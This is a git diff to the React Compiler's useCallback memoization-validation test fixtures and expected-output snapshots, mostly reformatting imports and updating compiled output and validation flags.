diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.ts
index d42d93fde832..899b5bb25be5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.ts
@@ -1,7 +1,7 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
-import { makeArray } from "shared-runtime";
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
 
 // This case is fine, as all reassignments happen before the useCallback
 function Foo(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.expect.md
deleted file mode 100644
index 575899cb71f5..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.expect.md
+++ /dev/null
@@ -1,58 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-
-function Component({ propA, propB }) {
-  return useCallback(() => {
-    if (propA) {
-      return {
-        value: propB.x.y,
-      };
-    }
-  }, [propA, propB.x.y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ propA: 1, propB: { x: { y: [] } } }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-
-function Component(t0) {
-  const $ = _c(3);
-  const { propA, propB } = t0;
-  let t1;
-  if ($[0] !== propA || $[1] !== propB.x.y) {
-    t1 = () => {
-      if (propA) {
-        return { value: propB.x.y };
-      }
-    };
-    $[0] = propA;
-    $[1] = propB.x.y;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ propA: 1, propB: { x: { y: [] } } }],
-};
-
-```
-      
-### Eval output
-(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.ts
deleted file mode 100644
index 05cacc27d053..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-conditional-access-own-scope.ts
+++ /dev/null
@@ -1,17 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-
-function Component({ propA, propB }) {
-  return useCallback(() => {
-    if (propA) {
-      return {
-        value: propB.x.y,
-      };
-    }
-  }, [propA, propB.x.y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ propA: 1, propB: { x: { y: [] } } }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.expect.md
new file mode 100644
index 000000000000..687d9565ba88
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback} from 'react';
+import {identity, useIdentity} from 'shared-runtime';
+
+function mutate(_: unknown) {}
+
+/**
+ * Repro showing a manual memo whose declaration (useCallback's 1st argument)
+ * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned
+ * due to hook-call flattening.
+ */
+function useFoo(a) {
+  const x = identity(a);
+  useIdentity(2);
+  mutate(x);
+
+  return useCallback(() => [x, []], [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [3],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback } from "react";
+import { identity, useIdentity } from "shared-runtime";
+
+function mutate(_) {}
+
+/**
+ * Repro showing a manual memo whose declaration (useCallback's 1st argument)
+ * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned
+ * due to hook-call flattening.
+ */
+function useFoo(a) {
+  const $ = _c(2);
+  const x = identity(a);
+  useIdentity(2);
+  mutate(x);
+  let t0;
+  if ($[0] !== x) {
+    t0 = () => [x, []];
+    $[0] = x;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [3],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.ts
new file mode 100644
index 000000000000..23de8c2c259a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.ts
@@ -0,0 +1,23 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback} from 'react';
+import {identity, useIdentity} from 'shared-runtime';
+
+function mutate(_: unknown) {}
+
+/**
+ * Repro showing a manual memo whose declaration (useCallback's 1st argument)
+ * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned
+ * due to hook-call flattening.
+ */
+function useFoo(a) {
+  const x = identity(a);
+  useIdentity(2);
+  mutate(x);
+
+  return useCallback(() => [x, []], [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [3],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.expect.md
new file mode 100644
index 000000000000..0a151b6ca30d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.expect.md
@@ -0,0 +1,102 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees:true
+
+import {useCallback} from 'react';
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.
+ * - t1 does not have a scope as it captures `x` after x's mutable range
+ * - `x` is a context variable, which means its mutable range extends to all
+ *    references / aliases.
+ * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.
+ *
+ * We currently bail out because `a` has a scope and is not transitively memoized
+ * (as its scope is pruned due to a hook call)
+ */
+function useBar({a, b}, cond) {
+  let x = useIdentity({val: 3});
+  if (cond) {
+    x = b;
+  }
+
+  const cb = useCallback(() => {
+    return [a, x];
+  }, [a, x]);
+
+  return <Stringify cb={cb} shouldInvoke={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{a: 1, b: 2}, true],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees:true
+
+import { useCallback } from "react";
+import { Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.
+ * - t1 does not have a scope as it captures `x` after x's mutable range
+ * - `x` is a context variable, which means its mutable range extends to all
+ *    references / aliases.
+ * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.
+ *
+ * We currently bail out because `a` has a scope and is not transitively memoized
+ * (as its scope is pruned due to a hook call)
+ */
+function useBar(t0, cond) {
+  const $ = _c(6);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = { val: 3 };
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let x = useIdentity(t1);
+  if (cond) {
+    x = b;
+  }
+  let t2;
+  if ($[1] !== a || $[2] !== x) {
+    t2 = () => [a, x];
+    $[1] = a;
+    $[2] = x;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  x;
+  const cb = t2;
+  let t3;
+  if ($[4] !== cb) {
+    t3 = <Stringify cb={cb} shouldInvoke={true} />;
+    $[4] = cb;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{ a: 1, b: 2 }, true],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":"[[ function params=0 ]]","shouldInvoke":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.tsx
new file mode 100644
index 000000000000..ad735510f534
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.tsx
@@ -0,0 +1,32 @@
+// @validatePreserveExistingMemoizationGuarantees:true
+
+import {useCallback} from 'react';
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.
+ * - t1 does not have a scope as it captures `x` after x's mutable range
+ * - `x` is a context variable, which means its mutable range extends to all
+ *    references / aliases.
+ * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.
+ *
+ * We currently bail out because `a` has a scope and is not transitively memoized
+ * (as its scope is pruned due to a hook call)
+ */
+function useBar({a, b}, cond) {
+  let x = useIdentity({val: 3});
+  if (cond) {
+    x = b;
+  }
+
+  const cb = useCallback(() => {
+    return [a, x];
+  }, [a, x]);
+
+  return <Stringify cb={cb} shouldInvoke={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{a: 1, b: 2}, true],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.expect.md
index b6ccab92d58b..350fdcfd43a5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useState } from "react";
-import { arrayPush } from "shared-runtime";
+import {useCallback, useState} from 'react';
+import {arrayPush} from 'shared-runtime';
 
 // useCallback-produced values can exist in nested reactive blocks, as long
 // as their reactive dependencies are a subset of depslist from source
@@ -22,7 +22,7 @@ function useFoo(minWidth, otherProp) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [2, "other"],
+  params: [2, 'other'],
 };
 
 ```
@@ -40,7 +40,7 @@ function useFoo(minWidth, otherProp) {
   const $ = _c(7);
   const [width] = useState(1);
   let t0;
-  if ($[0] !== width || $[1] !== minWidth || $[2] !== otherProp) {
+  if ($[0] !== minWidth || $[1] !== otherProp || $[2] !== width) {
     const x = [];
     let t1;
     if ($[4] !== minWidth || $[5] !== width) {
@@ -52,12 +52,11 @@ function useFoo(minWidth, otherProp) {
       t1 = $[6];
     }
     const style = t1;
-
     arrayPush(x, otherProp);
     t0 = [style, x];
-    $[0] = width;
-    $[1] = minWidth;
-    $[2] = otherProp;
+    $[0] = minWidth;
+    $[1] = otherProp;
+    $[2] = width;
     $[3] = t0;
   } else {
     t0 = $[3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.ts
index 5fb14fa7d395..60aef5408749 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useState } from "react";
-import { arrayPush } from "shared-runtime";
+import {useCallback, useState} from 'react';
+import {arrayPush} from 'shared-runtime';
 
 // useCallback-produced values can exist in nested reactive blocks, as long
 // as their reactive dependencies are a subset of depslist from source
@@ -18,5 +18,5 @@ function useFoo(minWidth, otherProp) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [2, "other"],
+  params: [2, 'other'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.expect.md
deleted file mode 100644
index f175ef961b8e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.expect.md
+++ /dev/null
@@ -1,63 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { identity, mutate } from "shared-runtime";
-
-function useHook(propA, propB) {
-  return useCallback(() => {
-    const x = {};
-    if (identity(null) ?? propA.a) {
-      mutate(x);
-      return {
-        value: propB.x.y,
-      };
-    }
-  }, [propA.a, propB.x.y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useHook,
-  params: [{ a: 1 }, { x: { y: 3 } }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { identity, mutate } from "shared-runtime";
-
-function useHook(propA, propB) {
-  const $ = _c(3);
-  let t0;
-  if ($[0] !== propA.a || $[1] !== propB.x.y) {
-    t0 = () => {
-      const x = {};
-      if (identity(null) ?? propA.a) {
-        mutate(x);
-        return { value: propB.x.y };
-      }
-    };
-    $[0] = propA.a;
-    $[1] = propB.x.y;
-    $[2] = t0;
-  } else {
-    t0 = $[2];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useHook,
-  params: [{ a: 1 }, { x: { y: 3 } }],
-};
-
-```
-      
-### Eval output
-(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.ts
deleted file mode 100644
index 43cf0aedc8ac..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-conditional-value-block.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { identity, mutate } from "shared-runtime";
-
-function useHook(propA, propB) {
-  return useCallback(() => {
-    const x = {};
-    if (identity(null) ?? propA.a) {
-      mutate(x);
-      return {
-        value: propB.x.y,
-      };
-    }
-  }, [propA.a, propB.x.y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useHook,
-  params: [{ a: 1 }, { x: { y: 3 } }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.expect.md
index 31e564fa2217..cccbe2d31f28 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // It's correct to produce memo blocks with fewer deps than source
 function useFoo(a, b) {
@@ -21,7 +21,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 import { useCallback } from "react";
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.ts
index 27816345968c..78dfa1e658c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.ts
@@ -1,6 +1,6 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // It's correct to produce memo blocks with fewer deps than source
 function useFoo(a, b) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.expect.md
index e5d040640724..7e57f294927a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // More specific memoization always results in fewer memo block
 // executions.
@@ -17,7 +17,7 @@ function useHook(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ y: { z: 2 } }],
+  params: [{y: {z: 2}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.ts
index c2fea62574e6..71ad0d36a0ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // More specific memoization always results in fewer memo block
 // executions.
@@ -13,5 +13,5 @@ function useHook(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ y: { z: 2 } }],
+  params: [{y: {z: 2}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.expect.md
index fa5ed0620ee5..ddbd5cfed66c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { sum } from "shared-runtime";
+import {useCallback} from 'react';
+import {sum} from 'shared-runtime';
 
 function useFoo() {
   const val = [1, 2, 3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.ts
index aa0a9f07835a..a23c2528d369 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { sum } from "shared-runtime";
+import {useCallback} from 'react';
+import {sum} from 'shared-runtime';
 
 function useFoo() {
   const val = [1, 2, 3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.expect.md
index 5467e1b062cf..87cd57e917ed 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useCallback } from "react";
-import { CONST_STRING0 } from "shared-runtime";
+import {useCallback} from 'react';
+import {CONST_STRING0} from 'shared-runtime';
 
 // It's correct to infer a useCallback block has no reactive dependencies
 function useFoo() {
@@ -22,22 +22,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 import { useCallback } from "react";
 import { CONST_STRING0 } from "shared-runtime";
 
 // It's correct to infer a useCallback block has no reactive dependencies
 function useFoo() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => [CONST_STRING0];
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  return t0;
+  return _temp;
+}
+function _temp() {
+  return [CONST_STRING0];
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.ts
index 9ab1e1742db7..0f8836d2030b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useCallback } from "react";
-import { CONST_STRING0 } from "shared-runtime";
+import {useCallback} from 'react';
+import {CONST_STRING0} from 'shared-runtime';
 
 // It's correct to infer a useCallback block has no reactive dependencies
 function useFoo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.expect.md
index 1291ccdfa945..0eb58ef85e06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
-function Component({ entity, children }) {
+function Component({entity, children}) {
   const showMessage = useCallback(() => entity != null);
 
   // We currently model functions as if they could escape intor their return value
@@ -25,7 +25,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      entity: { name: "Sathya" },
+      entity: {name: 'Sathya'},
       children: [<div key="gsathya">Hi Sathya!</div>],
     },
   ],
@@ -36,11 +36,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false
 import { useCallback } from "react";
 
 function Component(t0) {
-  const $ = _c(11);
+  const $ = _c(9);
   const { entity, children } = t0;
   let t1;
   if ($[0] !== entity) {
@@ -51,46 +51,39 @@ function Component(t0) {
     t1 = $[1];
   }
   const showMessage = t1;
+
+  const shouldShowMessage = showMessage();
   let t2;
-  if ($[2] !== showMessage) {
-    t2 = showMessage();
-    $[2] = showMessage;
+  if ($[2] !== shouldShowMessage) {
+    t2 = <div>{shouldShowMessage}</div>;
+    $[2] = shouldShowMessage;
     $[3] = t2;
   } else {
     t2 = $[3];
   }
-  const shouldShowMessage = t2;
   let t3;
-  if ($[4] !== shouldShowMessage) {
-    t3 = <div>{shouldShowMessage}</div>;
-    $[4] = shouldShowMessage;
+  if ($[4] !== children) {
+    t3 = <div>{children}</div>;
+    $[4] = children;
     $[5] = t3;
   } else {
     t3 = $[5];
   }
   let t4;
-  if ($[6] !== children) {
-    t4 = <div>{children}</div>;
-    $[6] = children;
-    $[7] = t4;
-  } else {
-    t4 = $[7];
-  }
-  let t5;
-  if ($[8] !== t3 || $[9] !== t4) {
-    t5 = (
+  if ($[6] !== t2 || $[7] !== t3) {
+    t4 = (
       <div>
+        {t2}
         {t3}
-        {t4}
       </div>
     );
-    $[8] = t3;
-    $[9] = t4;
-    $[10] = t5;
+    $[6] = t2;
+    $[7] = t3;
+    $[8] = t4;
   } else {
-    t5 = $[10];
+    t4 = $[8];
   }
-  return t5;
+  return t4;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.js
index ba81d5422357..640b9b8b9e6b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.js
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
-function Component({ entity, children }) {
+function Component({entity, children}) {
   const showMessage = useCallback(() => entity != null);
 
   // We currently model functions as if they could escape intor their return value
@@ -21,7 +21,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      entity: { name: "Sathya" },
